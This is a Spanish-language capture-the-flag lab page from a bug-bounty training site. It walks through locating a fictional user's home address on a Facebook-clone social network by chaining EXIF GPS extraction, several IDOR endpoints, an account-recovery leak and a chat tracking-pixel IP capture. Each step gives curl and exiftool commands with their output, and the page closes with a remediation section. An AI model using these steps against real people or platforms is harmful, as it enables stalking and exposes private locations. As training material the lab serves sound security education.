BBLABSBBLABS
LaboratoriosAprender desde 0FuncionesPreciosTestimoniosDetrás de BBLABS
  1. Inicio
  2. Labs
  3. Geolocalización de la dirección real de una usuaria en una red social (EXIF GPS + IDOR + IP-leak por chat)
Difícil55 min

Geolocalización de la dirección real de una usuaria en una red social (EXIF GPS + IDOR + IP-leak por chat)

Por @gorka

Clon de Facebook: encadena EXIF GPS sin depurar, IDOR de perfil, sesiones, lugares y álbum privado, y una fuga de IP por el chat con bot víctima, hasta geolocalizar la casa de una usuaria.

Este hackeo se reportó sin recompensa

53 visitas1 completadosActualizado nov 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Un hackeo real de HackerOne, reproducido para que lo practiques.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hackers que lo han resuelto· 1

benjaminnocervigni1
@benjaminnocervigniHace 4 días

Objetivos

1
Ubicar a la usuaria objetivo (Elena Vidal) por recon dentro de la red social.
2
Extraer GPS y metadatos (dispositivo, serial, miniatura) de sus fotos con exiftool.
3
Explotar el IDOR de perfil (GET /api/users/:id) que ignora el badge 'Solo yo'.
4
Confirmar el mismo IDOR por 'Ver como público' y por el IDOR de sesiones activas.
5
Colar un enlace de seguimiento por chat (GIF o tarjeta de enlace) para el bot víctima.
6
Leer su IP y geolocalización cuando el bot carga la imagen del colector.
7
Corroborar la dirección con 'Cerca de ti' y con el historial de 'Lugares'.
8
Alcanzar el check-in de un post privado y las fotos de su álbum privado por IDOR.
9
Confirmar su identidad y región sin autenticar vía recuperación de cuenta.

Información

Plataforma
HackerOne
Dificultad
Difícil
Duración
55 min
Bounty
Sin recompensa
Completados
1
Creador
gorka@gorka
Actualizado
nov 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

exiftoolDevToolscurlNavegador web

Prerequisitos

  • HTTP y DevTools
  • Metadatos EXIF
  • IDOR / control de acceso

Tags

IDORInformation DisclosureBAC

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

Cuando resuelvas este lab desbloqueas este logro compartible

Writeups de la comunidad

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Contenido del lab

Escenario

Amistia es la red social donde media España cuelga sus fotos de vacaciones, comenta el partido y organiza quedadas por Messenger — un calco de Facebook hasta en el azul corporativo, con Seguridad e inicio de sesión, "Lugares en los que has estado", grupos y eventos incluidos. Trabajas para un despacho que audita el over-sharing de datos personales en redes sociales, y el cliente te ha puesto un reto muy concreto: sin ser "amigo" de nadie, sin phishing y sin tocar la base de datos, demuestra hasta dónde puede llegar un desconocido tirando solo de lo que la propia app deja ver.

Entras con una cuenta normal, attacker@amistia.local. En la barra lateral, "Personas que quizás conozcas" te sugiere a Elena Vidal Serra — tenéis varios amigos en común pero ella nunca te ha añadido. Tu misión: reconstruir la dirección exacta de su casa combinando el chat, sus fotos, su perfil y sus ajustes de cuenta, y demostrar que ninguna de las puertas que encuentres es un golpe de suerte aislado sino el mismo fallo de diseño repetido en media docena de sitios distintos.

Qué tienes

  • Cuenta demo: attacker@amistia.local / password123 (usuario marco.ferrer, Marco Ferrer Lozano) — punto de partida, NO la vulnerabilidad.
  • Varios amigos en común con Elena (Hugo Sáez, Iván Torres, Claudia Reyes, Sergio Molina) que hacen que aparezca en "Personas que quizás conozcas" — tu hilo de recon inicial; no eres su amiga.
  • La herramienta "Enlaces con estadísticas" de Amistia (POST /api/tracker/links), que te da a la vez un pixel de seguimiento (/api/track/<token>.gif) y un enlace compartible (/l/<token>) para colarlos por el chat.
  • exiftool en tu máquina, para leer lo que cada foto guarda además de los píxeles.

Guía paso a paso

  1. Ubica a la objetivo. En la barra lateral, "Personas que quizás conozcas" (GET /api/suggestions) te propone a Elena Vidal Serra con varios amigos en común. Al abrir su perfil, el cliente dispara GET /api/users/<id> — su id (3) queda visible en DevTools → Network en cuanto navegas a su perfil:

    TOKEN=$(curl -s -X POST http://localhost:1901/api/auth/login \
      -H 'Content-Type: application/json' \
      -d '{"email":"attacker@amistia.local","password":"password123"}' | jq -r '.token')
    
    curl -s http://localhost:1901/api/suggestions -H "Authorization: Bearer $TOKEN" | jq
    # → { "suggestions": [{ "id": 3, "username": "elena.vidal", "mutual_count": 4, ... }] }
    
  2. Confirma que es ella (V12, breadcrumb de recuperación de cuenta). Sin ni siquiera loguearte podrías haber confirmado identidad y región por "¿Olvidaste tu contraseña?" — pantalla real de Facebook ("¿Es esta tu cuenta?"):

    curl -s -X POST http://localhost:1901/api/auth/forgot \
      -H 'Content-Type: application/json' \
      -d '{"email":"elena.vidal@correo.local"}' | jq '.account'
    # → { "region": "Barc***", "phone_hint": "••• ••• ••7", "email_hint": "e•••@•••.local" }
    

    No sirve la flag — es un breadcrumb: confirma que "esta Elena" es la buena y que vive en Barcelona antes de invertir tiempo en las puertas reales.

  3. Puerta A — las fotos que no olvidan (V1, EXIF/GPS, vector estrella). Ve a su perfil → Fotos. El listado (GET /api/users/3/photos) respeta la privacidad y solo enseña las de su álbum público, pero eso basta: abre una en el visor "theater" y usa ··· → Descargar. Amistia presume de conservar la calidad original — el archivo que baja es el original con el EXIF intacto:

    curl -s http://localhost:1901/api/photos/1/file \
      -H "Authorization: Bearer $TOKEN" -o elena.jpg
    
    exiftool elena.jpg
    # GPS Position   : 41 deg 23' 41.46" N, 2 deg 9' 45.18" E
    # User Comment   : Carrer de Provença 287, 3º 2ª — 08037 Barcelona ·
    #                  Ref. reparto interno: FLAG{a5da220855447e34ebb11ac7c264e11b}
    

    Para demostrar que no es un truco del laboratorio: sube una foto tuya con GPS (POST /api/photos, multipart) y vuelve a descargarla — sale con el mismo EXIF intacto. Súbela como avatar (POST /api/photos/avatar) en cambio, y sale limpia: esa asimetría (avatar vs. foto de post/álbum) es la pista de por qué el bug es real y no un accidente puntual.

  4. Profundiza el EXIF (V9): el dispositivo, el instante y una miniatura que no debería estar. Pasa exiftool sin filtros (no solo -gps:all) y vuelca muchos más tags de los que esperabas:

    exiftool elena.jpg
    # Make                : Apple
    # Camera Model Name   : iPhone 14 Pro
    # Lens Model          : iPhone 14 Pro back triple camera 6.86mm f/1.78
    # Software            : Amistia para iOS 3.2.1 (iOS 16.5.1)
    # Date/Time Original  : 2026:07:19 21:12:44+02:00
    # Serial Number       : DNPB4K21Q1GC
    

    El Software confiesa que la foto se subió desde la propia app; el DateTimeOriginal casa con su post "Por fin en casa" (paso 12). Adelántate ahora al álbum privado 🔒 (paso 13) y compara el serial entre una foto pública y una privada:

    curl -s http://localhost:1901/api/photos/6/file \
      -H "Authorization: Bearer $TOKEN" -o privada.jpg
    
    exiftool -SerialNumber elena.jpg privada.jpg
    # elena.jpg   : Serial Number : DNPB4K21Q1GC
    # privada.jpg : Serial Number : DNPB4K21Q1GC   ← mismo dispositivo → misma dueña,
    #                                                 aunque el álbum privado no lleve su nombre
    

    Y el golpe de gracia: la foto a resolución completa recorta el número de portal, pero la miniatura EXIF embebida es la versión sin recortar:

    exiftool -b -ThumbnailImage privada.jpg > thumb.jpg
    # abrir thumb.jpg → se lee la placa "Carrer de Provença" y el número 287
    
  5. Puerta B — el candado que solo pinta el cliente (V2, IDOR de perfil). En la pestaña Información de Elena, la fila Dirección lleva el badge 🔒 Solo yo y no se pinta. Pero el detalle de perfil que ya cargó tu navegador para dibujar la cabecera es GET /api/users/<id> — ábrelo en Network o pídelo tú mismo:

    curl -s http://localhost:1901/api/users/3 \
      -H "Authorization: Bearer $TOKEN" | jq '.user | {home_address, home_address_note, lat, lng, privacy}'
    

    El JSON trae home_address, home_address_note (con la flag) y lat/lng exactos, con privacy.address:"self" — el backend sirve exactamente lo que el badge promete ocultar.

  6. La misma puerta por otra cerradura (V7, "Ver como público"). El propio perfil ofrece el botón "Ver como público" (feature real de Facebook). Su preview es GET /api/users/:id/about?view=:

    curl -s "http://localhost:1901/api/users/3/about?view=public" \
      -H "Authorization: Bearer $TOKEN" | jq '.about.contact'
    

    El bloque contact (dirección + nota + teléfono + email) viaja completo aunque view=public debería recortarlo — segunda confirmación de la misma dirección + flag, sin depender del endpoint del paso 5.

  7. Puerta B, otra vez: "¿Dónde has iniciado sesión?" (V8, IDOR de sesiones). Tu propia página de Seguridad e inicio de sesión abre con ?userId=<tu id> (auto-descubierto, igual que /api/auth/me). Cambia el id por el de Elena:

    curl -s "http://localhost:1901/api/security/sessions?userId=3" \
      -H "Authorization: Bearer $TOKEN" | jq '.sessions[] | {device, ip, city, lat, lng, place_label, current}'
    # → { "device": "iPhone 14 Pro", "ip": "88.16.203.44", "city": "Barcelona",
    #     "lat": 41.39485, "lng": 2.16255, "place_label": "Barcelona · Eixample", "current": 1 }
    

    Su sesión activa trae la IP pública y las coordenadas exactas de dónde está conectada ahora mismo (= su casa) — sin bot, sin chat, y con la misma IP que verás en el panel de hits del paso 9. Confirmación independiente de la casa y de la IP.

  8. Puerta C — el chat que la delata, canal 1: GIF insertado (V3, IP-leak + bot víctima). Crea tu propio "Enlace con estadísticas" y mándaselo a Elena disfrazado de GIF (GIF → Insertar enlace en Messenger):

    # 1. Mintas tu propio pixel de seguimiento
    curl -s -X POST http://localhost:1901/api/tracker/links \
      -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
      -d '{"label":"Mira esto 😄"}' | jq
    # → { "link": { "token": "<TOKEN>", "target": "/api/track/<TOKEN>.gif", ... } }
    
    # 2. Se lo envías como imagen remota
    curl -s -X POST http://localhost:1901/api/messages \
      -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
      -d '{"recipient_username":"elena.vidal","body":"Mira esto 😄","image_url":"/api/track/<TOKEN>.gif"}'
    
    # 3. Esperas el dwell del bot (2-5 s) y vigilas el monitor
    curl -s http://localhost:1901/api/bot/activity -H "Authorization: Bearer $TOKEN" | jq
    # → "Elena abrió un mensaje de @marco.ferrer" / "Elena cargó la imagen de tu mensaje"
    
    # 4. Lees el panel "¿Quién abrió tu enlace?"
    curl -s http://localhost:1901/api/tracker/hits -H "Authorization: Bearer $TOKEN" | jq
    

    El hit trae ip_public (88.16.203.44), city (Barcelona), lat/lng y home_address con la nota — tercera puerta a la misma flag, disparada por el navegador (simulado) de Elena, no por ti.

  9. Puerta C-bis — el mismo chat, canal 2: un enlace también delata (V11, link-preview unfurl). El mismo token del paso 8 también sirve como enlace compartible /l/<TOKEN> con etiquetas OpenGraph. Esta vez lo pegas como texto plano, sin image_url — Amistia genera una tarjeta de vista previa igual que Facebook:

    # (Opcional) confirma tú mismo la mecánica antes de esperar al bot:
    curl -s -X POST http://localhost:1901/api/link-preview \
      -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
      -d '{"url":"http://localhost:1901/l/<TOKEN>"}' | jq
    # → { "preview": { "title": "Amistia", "image": "/api/track/<TOKEN>.gif", ... } }
    #   ← la imagen de la tarjeta ES el pixel del colector
    
    curl -s -X POST http://localhost:1901/api/messages \
      -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
      -d '{"recipient_username":"elena.vidal","body":"Mira esta ruta: http://localhost:1901/l/<TOKEN>"}'
    
    # Esperas el dwell y vuelves a mirar monitor + panel
    curl -s http://localhost:1901/api/bot/activity -H "Authorization: Bearer $TOKEN" | jq
    # → "Elena expandió la vista previa de tu enlace" / "Elena cargó la imagen de la tarjeta"
    curl -s http://localhost:1901/api/tracker/hits -H "Authorization: Bearer $TOKEN" | jq
    # → nuevo hit con la MISMA flag — esta vez disparado por un enlace, no por un GIF
    

    Visualmente, la tarjeta de enlace es indistinguible de un GIF normal para Elena — pero el mecanismo (una imagen que carga su navegador con su sesión) es idéntico al del paso 8.

  10. Refuerzo — "Cerca de ti" no redondea en el servidor (V4). La UI de "Cerca de ti" solo pinta un bucket (A 3 km). Mira la llamada real:

    curl -s http://localhost:1901/api/nearby -H "Authorization: Bearer $TOKEN" | jq
    

    El JSON trae lat/lng exactos de cada amigo que comparte ubicación, incluida Elena — las mismas coordenadas que el EXIF de sus fotos.

  11. Refuerzo — su historial de "Lugares" converge en la misma casa (V10, IDOR de agregación). La pestaña "Lugares" de tu propio perfil llama /api/users/<tu id>/places. Cambia el id:

    curl -s http://localhost:1901/api/users/3/places -H "Authorization: Bearer $TOKEN" | jq '.places[0:3]'
    # → [{ "name": "Casa", "category": "Residencia", "lat": 41.39485, "lng": 2.16255, "count": 128 },
    #    { "name": "Cromia Studio", "category": "Trabajo", ... },
    #    { "name": "Cafè de Provença", "category": "Cafetería", ... }]
    

    "Casa" es el lugar con más visitas (count) — y cae exactamente sobre las mismas coordenadas que el EXIF (paso 3), Nearby (paso 10) y la sesión activa (paso 7). Cuarta confirmación independiente de la misma casa.

  12. Refuerzo — el check-in que nadie debería ver (V5, IDOR de post). El feed filtra por audiencia y amistad (GET /api/posts), pero el detalle no. Su post friends "Por fin en casa" es el id=4:

    curl -s http://localhost:1901/api/posts/4 -H "Authorization: Bearer $TOKEN" | jq
    # → { "post": { "audience": "friends", "location_name": "Casa",
    #               "location_lat": 41.39488, "location_lng": 2.1625, ... } }
    

    Coordenadas del check-in sin que se compruebe amistad.

  13. Refuerzo — el álbum con candado 🔒 (V6, IDOR/WCD de foto privada). El álbum privado de Elena ("Personales 🔒") no aparece listado en Fotos, pero sus fotos (ids 5 y 6) son contiguas a las del álbum público (ids 1-4). Ni GET /api/photos/:id ni GET /api/photos/:id/file comprueban la audiencia del álbum:

    curl -s http://localhost:1901/api/photos/5/file \
      -H "Authorization: Bearer $TOKEN" -o privada2.jpg
    exiftool privada2.jpg
    

    Mismo GPS de casa, esta vez sobre contenido que la interfaz declara protegido — refuerza la Puerta A (y ya viste en el paso 4 que el SerialNumber de la foto 6 coincide con el de la 1).

  14. Confirma el punto ciego / verifica. El EXIF de sus fotos (pasos 3-4), el JSON de perfil/"Ver como"/sesiones (pasos 5-7) y el panel de hits del colector — por GIF o por enlace (pasos 8-9) — devuelven la misma home_address/home_address_note, la misma FLAG{a5da220855447e34ebb11ac7c264e11b}, corroborada por Nearby, "Lugares" y el check-in (pasos 10-12). Ninguna puerta es la única: si una se hubiese parcheado, las demás seguirían filtrando la casa de Elena.

Canales de feedback (no vuelas a ciegas)

  • exiftool imprime GPS Position + User Comment (y, sin filtro, Serial Number/DateTimeOriginal) al instante tras la descarga — confirmación inmediata sin ambigüedad. El mismo serial en una foto pública y otra privada confirma la misma dueña; la miniatura extraída se ve a simple vista.
  • DevTools → Network: el diff entre lo que pinta la UI (badge 🔒 "Solo yo", bucket "A 3 km", mapa de "Lugares") y lo que trae el JSON confirma cada IDOR según lo abres. La IP de la sesión activa de Elena (V8) coincide con la de los hits del colector (V3/V11) — correlación cruzada entre dos paneles distintos, sin necesitar al bot.
  • El monitor GET /api/bot/activity narra en 2-5 s cuándo Elena abre tu mensaje y carga la imagen (o expande tu enlace); el panel de hits GET /api/tracker/hits materializa su IP/geo — doble canal para los dos únicos pasos genuinamente ciegos (V3 y V11).
  • Cada endpoint por id/query responde 200 con el campo filtrado (o 404/vacío si no aplica) — nunca hay que adivinar un payload, solo enumerar ids visibles y leer la respuesta.

Decoys (descártalos por razonamiento acotado)

  • Avatares/portada de Elena. Pásales exiftool y salen limpios: sharp/el depurador propio los re-encodea al subirlos. Un solo exiftool sobre el avatar te dice que el vector EXIF vive en las fotos de post/álbum, no en el retrato de perfil.
  • Marketplace ("a N km"). GET /api/marketplace solo devuelve city/distance_bucket, nunca coordenadas de vendedor — contraste directo con Nearby (que sí sobre-comparte) en una sola inspección de Network.
  • GET /api/config. Config pública jugosa a primera vista (feature flags, CDN base) pero sin secretos, PII, geo ni flag — descartable en una lectura.
  • Enlace externo en el chat. Pega en un mensaje un enlace que NO sea de Amistia: POST /api/link-preview responde {preview:null} (sin imagen) y el bot lo registra como "REJECT off-origin" sin cargarlo ni expandirlo. Un intento basta para concluir que el leak exige el enlace propio (/l/<token>), igual que V3 exige el pixel propio.
  • Sesiones/Lugares de la cuenta admin. El mismo IDOR de los pasos 7 y 11 apuntado a userId=1/GET /api/users/1/places devuelve listas sin IP ni coordenadas útiles (nulls). El bug es real para cualquier id — pero solo "paga" si apuntas a una cuenta con geo sembrada.

La falla del laboratorio

Clase: CWE-200 (Exposure of Sensitive Information) como raíz común de los doce vectores, con CWE-639 (IDOR: perfil, sesiones, lugares, check-in de post, foto de álbum privado — el mismo patrón repetido cinco veces en ficheros distintos), CWE-525 (información sensible servida con Cache-Control: public, max-age=3600 en /api/photos/:id/file) y CWE-359 (exposición de información privada de geolocalización). OWASP A01:2021 (Broken Access Control) + A04:2021 (Insecure Design).

La causa técnica se repite con variaciones sutiles: la app confía en que el cliente decide qué pinta, no en que el servidor decida qué entrega. El listado de fotos de un usuario sí filtra por audiencia, pero el acceso directo por id no repite esa comprobación. El feed sí filtra posts por audiencia y amistad, pero el detalle por id no. El serializador seguro se usa en listados y tarjetas, pero el detalle de perfil y el preview "Ver como" construyen la respuesta a mano y olvidan aplicar el mismo recorte. La página de "Seguridad e inicio de sesión" y la de "Lugares" repiten exactamente el mismo error: toman un id/userId de la petición y confían en que solo se les pedirá el propio, en vez de comprobarlo contra la sesión. Y en el chat, ninguna capa intermedia proxea ni reescribe la URL de una imagen remota (venga insertada como GIF o dentro de una tarjeta de vista previa) antes de que el navegador de quien la recibe la cargue con su propia sesión.

Ningún control de acceso adicional (roles, ACLs de amistad) habría bastado si el punto de comprobación vive solo en el endpoint "bonito" (listado) y no en el endpoint "feo" (acceso directo por id o por query param). La lección estructural es aplicar la autorización por objeto, en cada punto de acceso — incluidos los ajustes que "solo tú deberías ver" — y depurar EXIF de cualquier archivo servible públicamente, sin excepciones "porque es solo una foto de perfil".

Lección: un candado que solo dibuja el cliente no es un candado; si un dato es sensible, dejar de mostrarlo en la UI no basta — hay que dejar de devolverlo en cada endpoint que pueda alcanzarlo, incluidos los que nadie usa en el "camino feliz", y cada nueva feature ("¿dónde has iniciado sesión?", "lugares", "vista previa de enlaces") hereda la misma obligación de comprobar propiedad, no solo la de existir.

Laboratorio de vídeo educativo basado en la reproducción anonimizada (empresa ficticia Amistia) de técnicas reales de OSINT y geolocalización sobre redes sociales.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.

BBLABS LogoBBLABS

Laboratorios de hacking basados en hackeos reales. Aprende practicando sobre entornos vulnerables, con la resolución explicada paso a paso.

Producto

  • Funcionalidades
  • Precios
  • Labs
  • Aprender desde 0
  • Blog
  • Detrás de BBLABS

Legal

  • Términos
  • Privacidad
  • Cookies
  • Entrar
  • Crear cuenta

Para cualquier duda, bug, soporte o sugerencia puedes escribir a team@bblabs.es

© 2026 BBLABS. Todos los derechos reservados.